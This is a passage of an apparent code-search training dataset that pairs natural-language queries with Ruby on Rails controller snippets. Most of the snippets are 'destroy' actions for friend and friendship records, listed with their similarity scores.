"0.59775984",
"0.597176",
"0.5964444",
"0.5963524",
"0.59582937",
"0.5955304",
"0.5948296",
"0.5940413",
"0.5928449",
"0.59127814",
"0.5902864",
"0.5884501",
"0.5874532",
"0.58591914",
"0.58559465",
"0.5849693",
"0.58445305",
"0.58054864",
"0.5804011",
"0.58027774",
"0.58009577",
"0.5799691",
"0.57911956",
"0.5775029",
"0.5768264",
"0.5764966",
"0.57640094",
"0.57536775",
"0.5752138",
"0.575196",
"0.57466716",
"0.57438034",
"0.5743264",
"0.5743264",
"0.5743264",
"0.5743264",
"0.5743264",
"0.57340676",
"0.57340676"
] |
0.68051034
|
11
|
DELETE /friends/1 DELETE /friends/1.json
|
def destroy
@friend.destroy
respond_to do |format|
format.html { redirect_to friends_url, notice: 'Friend was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @friend.destroy\n render json: {}\n end",
"def destroy\n @friends1.destroy\n respond_to do |format|\n format.html { redirect_to friends1s_url, notice: \"Friend was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete_friend\n \t#friend = User.find(params[:friend_id])\n respond_to do |format|\n \tif @user.friends.include?(@friend)\n Friendship.breakup(@user, @friend)\n message = \"Friendship with #{@friend.nick_name} deleted!\"\n format.json{render :json => {:message => message, :status => \"200\"}}\n else\n error = \"You aren't friends with #{@friend.nick_name}\"\n format.json { render :json => {:error => error, :status => \"400\"} }\n end\n end\n end",
"def destroy\n @friend.destroy\n respond_to do |format|\n format.html { redirect_to friends_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n logger.info(\"Delete friend_id 33333\")\n logger.info(\"Delete friend_id #{params[:user_id]}\")\n @friendship.destroy\n if request.format.json?\n render text: \"Delete\"\n else\n @friendship.destroy\n redirect_to friendships_url \n end \n end",
"def destroy\n @friend = Friend.find(params[:id])\n @friend.destroy\n\n respond_to do |format|\n format.html { redirect_to friends_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendsofuser = Friendsofuser.find(params[:id])\n @friendsofuser.destroy\n\n respond_to do |format|\n format.html { redirect_to(friendsofusers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @friend_request = FriendRequest.find(params[:id])\n @friend_request.destroy\n\n respond_to do |format|\n format.html { redirect_to friend_requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @friend.destroy\n respond_to do |format|\n format.html { redirect_to friends_url, notice: I18n.t('friend.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendslist = Friendslist.find(params[:id])\n @friendslist.destroy\n\n respond_to do |format|\n format.html { redirect_to friendslists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendrequest = Friendrequest.find(params[:id])\n @friendrequest.destroy\n\n respond_to do |format|\n format.html { redirect_to friendrequests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friends_list.destroy\n respond_to do |format|\n format.html { redirect_to friends_lists_url, notice: \"Friend was successfully removed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n begin\n current_user.friends.delete(user)\n user.friends.delete(current_user)\n rescue\n end\n\n respond_to do |format|\n format.html { redirect_to '/manage/friends' }\n end\n end",
"def destroy\n puts 'callin'\n friendship = Friendship.find(params[:id])\n user = friendship.user\n friend = friendship.friend\n reciprocal_friendship = Friendship.find_by(user: friend, friend: user)\n friendship.destroy\n reciprocal_friendship.destroy\n respond_to do |format|\n # format.html do\n # { redirect_back(fallback_location: root_path, notice: \"Friendship with #{friend.name} ended.\") }\n format.json do\n render json: {\n status: 'deleted',\n notice: \"Friendship with #{friend.name} ended.\"\n }\n end\n end\n end",
"def destroy\n\n # Your friend will first remove you as friend\n your_friend = Friend.where(\"account_id = ? AND friend_account_id = ?\", @friend.friend_account_id, current_account.id).first\n your_friend.destroy\n\n # Now, Remove your friend\n @friend.destroy\n\n respond_to do |format|\n format.html { redirect_to friends_url, notice: 'Friend was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend.destroy\n respond_to do |format|\n format.html { redirect_to member_friends_path(@member), notice: 'Friend was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@profile.friends.destroy(params[:id])\n\t\trespond_to do |format|\n\t\t\tback_page = profile_friends_path\n\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\tformat.html { redirect_to back_page, notice: 'Friend was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @friend.destroy\n respond_to do |format|\n format.html { redirect_to friends_url, notice: \"Friend was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend.destroy\n respond_to do |format|\n format.html { redirect_to friends_url, notice: \"Friend was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship = @user.friendships.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to game_user_friendships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend = Friend.find(params[:id])\n @friend.destroy\n\n respond_to do |format|\n format.html { redirect_to(friends_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @friend = Friend.find(params[:id])\n @friend.destroy\n\n respond_to do |format|\n format.html { redirect_to(friends_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @friend.destroy\n respond_to do |format|\n format.html { redirect_to request.referrer, notice: \"Friend was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n another_user = User.find params[:user_id]\n current_user.friends.delete(another_user)\n redirect_to users_path\n end",
"def destroy\n @friendship = Friendship.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to friendships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendrequest.destroy\n respond_to do |format|\n format.html { redirect_to friendrequests_url, notice: 'Friendrequest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend_request.destroy\n respond_to do |format|\n format.html { redirect_to friend_requests_url, notice: 'Friend request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend_request.destroy\n respond_to do |format|\n format.html { redirect_to friend_requests_url, notice: 'Friend request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friends_list.destroy\n respond_to do |format|\n format.html { redirect_to friends_lists_url, notice: 'Friends list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend = Friend.find(params[:id])\n @friend.destroy\n respond_with(@friend)\n end",
"def destroy\n @friendlist.destroy\n respond_to do |format|\n format.html { redirect_to friendlists_url, notice: 'Friendlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to friendships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pending_friend_request.destroy\n respond_to do |format|\n format.html { redirect_to '/profile?id=%s' % [session[:user_id]] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship = Friendship.find(params[:id])\n @friendship_mutual = Friendship.where(:user_id => @friendship.friend_id).first\n @friendship.destroy \n @friendship_mutual.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to friendships_url, notice: \"Friens request denied\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n #Deletes the friendship (both ways)\n @user=current_user\n friend=User.find_by_email(params[:email])\n if(friend)\n friendCheck=Friendship.find_by_user_id_and_friend_id(@user.id, friend.id)\n if(friendCheck)\n @friendship = @user.friendships.find_by_friend_id(friend.id)\n @friendship.destroy\n @friendship = friend.friendships.find_by_friend_id(@user.id)\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: {:deleted => 'true'}}\n end\n else\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: {:deleted => 'false'}}\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: {:deleted => 'false'}}\n end\n end\n end",
"def destroy\n @friend = current_user.friendships.find(params[:id])\n @friend.destroy\n flash[:notice] = \"Removed friend.\"\n redirect_to current_user\n end",
"def destroy\n @call_your_friend.destroy\n respond_to do |format|\n format.html { redirect_to call_your_friends_url, notice: 'Call your friend was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite_friend = InviteFriend.find(params[:id])\n @invite_friend.destroy\n\n respond_to do |format|\n format.html { redirect_to invite_friends_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @friend_request = FriendRequest.find(params[:id])\n @friend_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(friend_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @request_friendship.destroy\n respond_to do |format|\n format.html { redirect_to request_friendships_url, notice: 'La solicitud de amistad fue eliminada con éxito.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friend_request = FriendRequest.find(params[:id])\n @friend_request.destroy\n respond_to do |format|\n format.html { redirect_to(friend_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @friend\n @friend.destroy\n else\n @friendship.destroy\n end\n respond_to do |format|\n format.html { redirect_to friendships_url, notice: 'Friendship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove\n\t\tif request.post?\n\t\t\tfriendship = Friendship.where(user_id: params[:user_id], friend_id: params[:friend_id]).first\n\t\t\tunless friendship\n\t\t\t\trender json: {error: \"You are not friends\"} and return\n\t\t\tend\n\t\t\tfriendship.destroy\n\t\t\trender json: {msg: \"Friend deleted\"}\n\t\tend\n\tend",
"def destroy\n @user = User.find(params[:user_id])\n\n #this is okay because only one of these EVER exists at a time\n current_user.friends_requested.delete(@user)\n current_user.friend_requesters.delete(@user)\n\n if current_user.save\n flash[:success] = \"Request deleted!\"\n else\n flash[:error] = \"You can't let that person go just yet.\"\n end\n\n redirect_to session.delete(:return_to)\n end",
"def destroy\n other = Friendship.find_by(user: @friendship.friend, friend: @friendship.user)\n other.destroy unless other.nil?\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to current_user, notice: 'Friendship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def unfriend\n if relation = @user.friendships.find_by(friend_id: @friend.id)\n relation.destroy\n render json: { success: true }\n else\n render json: {message: relation.errors&.full_messages&.first}, status: 202\n end\n end",
"def destroy\n @friendship = Friendship.find(params[:id]).destroy\n redirect_to users_url\n end",
"def destroy\n @friendship = current_user.friendships.find_by_id(params[:id])\n @friendship = current_user.inverse_friendships.find_by_id(params[:id]) unless @friendship.present? \n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to user_friend_url(current_user), notice: 'Friendship was successfully Removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship = Friendship.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to(friendships_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @my_girlfriend.destroy\n respond_to do |format|\n format.html { redirect_to my_girlfriends_url, notice: 'My girlfriend was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # prevent user from deleting a friendship which cannot be found.\n if !(@friendship)\n render json: {error: \"Friendship not found\"}, status: 404\n else\n @friendship.destroy\n render status: 204\n end\n end",
"def destroy\n second_friendship = Friendship.find_by(:user1_id => @friendship.user2_id)\n @friendship.destroy\n second_friendship.destroy if second_friendship\n \n respond_to do |format|\n format.html { redirect_to back_page, flash: { :success => 'Friendship was deleted.' } }\n format.json { head :no_content }\n end\n end",
"def delete_friendship\n user = User.find(params[:user_id])\n @friendship = user.friendships.where(friend_id: params[:friend_id]).first ||\n user.inverse_friendships.where(friend_id: params[:user_id]).first\n if @friendship.present? # Can't call exists on a single record\n @friendship.delete\n render status: :ok, json: {\n message: 'Successfully deleted friendship'\n }.to_json\n else\n render status: :bad_request, json: {\n message: 'No friendship to delete'\n }\n end\n end",
"def destroy\n @friend_link.destroy\n respond_to do |format|\n format.html { redirect_to admin_friend_links_url, notice: 'Friend link was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Friendship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end",
"def destroy\n @group_friend = GroupFriend.find(params[:id])\n @group_friend.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group friend was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendrefuse = Friend.find(params[:id])\n @friendrefuse.destroy\n redirect_to hub_path\n end",
"def destroy\n @friend=Friend.where(\"user_id = ? AND friend_id=?\",params[:user_id],params[:friend_id]).destroy_all\n reload\n\n end",
"def destroy\n head 404\n # @api_v1_following = Api::V1::Follower.where('following_id =? and user_id =?', @current_user.id, params[:id]).first\n # if @api_v1_following.destroy\n # head :no_content\n # else \n # render json: { error: 'not allowed' }, status: 401\n # end\n end",
"def destroy\n @friendship = Friendship.where(friend_id: [current_user, params[:id]]).where(user_id: [current_user, params[:id]]).last\n @friendship.destroy\n flash[:notice] = \"No longer friends.\"\n redirect_to :back\n end",
"def destroy\n current_user.end_friendship!(@relationship.friend)\n respond_to do |format|\n format.html { redirect_to relationships_url }\n end\n end",
"def destroy\n @friendship = @current_user.friendships.find_by_id(params[:id])\n if @friendship.destroy\n flash[:success] = \"This relationship has been deleted\"\n else\n flash[:error] = \"Delete failed, if you really want, please try again\"\n end\n redirect_to(individual_path(@current_user))\n end",
"def destroy\n @friendship = @current_user.friendships.find_by(friendship_params)\n @inverse_friendship = @current_user.inverse_friendships.find_by(@friendship.friend_id)\n @friendship.destroy\n @inverse_friendship.destroy\n\n head :no_content\n end",
"def destroy\n @friendship = current_user.friendships.find(params[:id])\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to current_user\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def destroy\n @privacy_friend = PrivacyFriend.find(params[:id])\n @privacy_friend.destroy\n\n respond_to do |format|\n format.html { redirect_to('/privacy_friends/' +current_user.id.to_s() + '/new') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @friend_invite = FriendInvite.find(params[:id])\n @friend_invite.destroy\n\n respond_to do |format|\n format.html { redirect_to(friend_invites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n user = begin User.find(params[:id]) rescue nil end\n @friend = FriendsUser.find(:first, :conditions => [\"user_id = ? AND friend_id = ?\", current_user.id, user.id])\n if @friend\n if @friend.destroy\n flash[:notice] = I18n.t('friend.destroy.notice')\n else\n flash[:error] = I18n.t('friend.destroy.error')\n end\n else\n flash[:error] = I18n.t('user.general_error')\n end\n redirect_to user_friends_path(current_user)\n end",
"def friendships_destroy(options = {})\n @req.post(\"/1.1/friendships/destroy.json\", options)\n end",
"def destroy\n @friend.destroy\n @delete_friend.each(&:destroy)\n redirect_to user_path(current_user)\n flash[:notice] =\n 'You Removed This Friend'\n end",
"def destroy\n\n @plant = Plant.find(params[:id])\n @friendship = @plant.friendships.find_by_friend_id(params[:friend_id])\n\n if @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to request.referrer\n else\n flash[:error] = \"Unable to remove friend\"\n redirect_to request.referrer\n end\n end",
"def remove_friend(person, friend)\n person[:friends].delete(friend)\nend",
"def remove_friend(person, friend)\n person[:friends].delete(friend)\nend",
"def destroy\n @api_v1_follower = Api::V1::Follower.where('follower_id =? and user_id =?', @current_user.id, params[:id]).first\n if @api_v1_follower.destroy\n head :no_content\n else \n render json: { error: 'not allowed' }, status: 401\n end\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def remove\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n User.find(params[:user_id]).friends.delete(current_user)\n current_user.friends.delete(User.find(params[:user_id]))\n\n redirect_to friends_path\n end\n end",
"def destroy\n @girlfriend.destroy\n respond_to do |format|\n format.html { redirect_to girlfriends_url, notice: 'Girlfriend was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_friend(person, delete_friend)\n person[:friends].delete(\"Rick\")\n return person[:friends]\nend",
"def destroy\n @friend = Friend.find(params[:id],:conditions=>{:created_by=>current_user.id})\n @friend.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_path, :notice => \"Group #{@friend.group.name} was updated.\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @friends_attachment.destroy\n respond_to do |format|\n format.html { redirect_to friends_attachments_url, notice: \"Friends attachment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @father = Father.find(params[:id])\n @father.destroy\n\n respond_to do |format|\n format.html { redirect_to fathers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship = current_user.friendships.find(params[:id])\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to posts_path\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_follows\n \t@follower = User.find(params[:id])\n \t@followed = User.find(params[:follows_id])\n \t\n \tif @follower.follows.delete(@followed)\n \t\t\n \telse\n \t\trender json @follower.errors\n \tend\n end",
"def destroy\n\t @friendable = Friendable.where(from_id: [current_user, params[:id]]).where(to_id: [current_user, params[:id]]).last\n\t @friendable.destroy\n\t flash[:notice] = \"Removed friendship.\"\n\t redirect_to :back\n\t end",
"def destroy_friendship(user, params = {})\n args = [user, params]\n delete path_from_args('friendships/destroy', args), params_from_args(args)\n end",
"def destroy\n @friendship1 = Friendship.where(friend_id: current_user.id, user_id: params[:id]).first\n @friendship2 = Friendship.where(friend_id: params[:id], user_id: current_user.id).first\n @friendship1.destroy\n @friendship2.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to :back\n end",
"def remove_friend\n return if !remove_any_connection_between(params['user_id'], params['friend_id'])\n render_json :status => :ok and return\n end",
"def remove_friend(person, friend_to_remove)\n person[:friends].delete(friend_to_remove)\n return person[:friends].length()\nend",
"def destroy\n @friendship = Friendship.where(friend_id: [current_user, params[:id]]).where(user_id: [current_user, params[:id]]).last\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to :back\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"def delete_follows\n\n\t@follower = User.find(params[:id])\n\t@followed = User.find(params[:follows_id])\n\n\t@follower.follows.delete(@followed)\n\t\thead :no_content\n\t\t\n\tend",
"def destroy\n raise\n @friendship = Friendship.all.sample\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to friendships_path, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family = Family.find(params[:id])\n @family.destroy\n\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friendship = Friendship.find(params[:id])\n @friendship.destroy\n \n flash[:notice] = \"Removed friendship.\"\n redirect_to root_path\n end",
"def destroy\n @firend_relationship.destroy\n respond_to do |format|\n format.html { redirect_to user_firend_relationships_url, notice: 'Firend relationship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n request = FriendshipRequest.find(params[:id])\n request.destroy\n if request.sender == current_user \n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: \"Friend request to #{request.recipient.name} cancelled.\") }\n format.json do\n render json: {\n unrequest: {\n id: request.recipient.id,\n name: request.sender.name\n },\n message: \"Friend request to #{request.recipient.name} cancelled.\"\n }\n end\n end\n else\n redirect_back(fallback_location: root_path, notice: \"Friend request from #{request.sender.name} rejected.\")\n end\n end"
] |
[
"0.7691599",
"0.75931704",
"0.75873077",
"0.7571173",
"0.7550969",
"0.7543615",
"0.7465354",
"0.7443408",
"0.74411154",
"0.7433912",
"0.7416204",
"0.740303",
"0.73697317",
"0.73512363",
"0.7309405",
"0.7300287",
"0.72991866",
"0.7290266",
"0.7290266",
"0.7278264",
"0.7260282",
"0.7260282",
"0.72566676",
"0.7250452",
"0.72487664",
"0.7246051",
"0.724017",
"0.724017",
"0.72289455",
"0.72013164",
"0.71974885",
"0.71892595",
"0.71511036",
"0.7150042",
"0.71484137",
"0.7146649",
"0.713423",
"0.7106614",
"0.7104593",
"0.7084336",
"0.7076337",
"0.70713055",
"0.70664304",
"0.7039377",
"0.7025786",
"0.7023008",
"0.700887",
"0.70044106",
"0.6996788",
"0.6991365",
"0.69873863",
"0.69702363",
"0.695482",
"0.6928974",
"0.69117266",
"0.6882818",
"0.68698347",
"0.6863987",
"0.68476516",
"0.68416286",
"0.68337274",
"0.6816244",
"0.67930794",
"0.67810357",
"0.67590135",
"0.67534745",
"0.67493486",
"0.6738587",
"0.6729342",
"0.6717913",
"0.6711164",
"0.6705983",
"0.669146",
"0.6686994",
"0.6686994",
"0.66788054",
"0.66635615",
"0.6656213",
"0.6653944",
"0.6625242",
"0.6619409",
"0.6618319",
"0.66140467",
"0.66108274",
"0.6606494",
"0.6605053",
"0.6603932",
"0.6599163",
"0.6586477",
"0.6577526",
"0.65728974",
"0.6566387",
"0.65648055",
"0.6549077",
"0.65485775",
"0.6522671",
"0.6496174",
"0.6494247",
"0.6486643"
] |
0.7291574
|
18
|
Use callbacks to share common setup or constraints between actions.
|
def set_friend
@friend = Friend.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
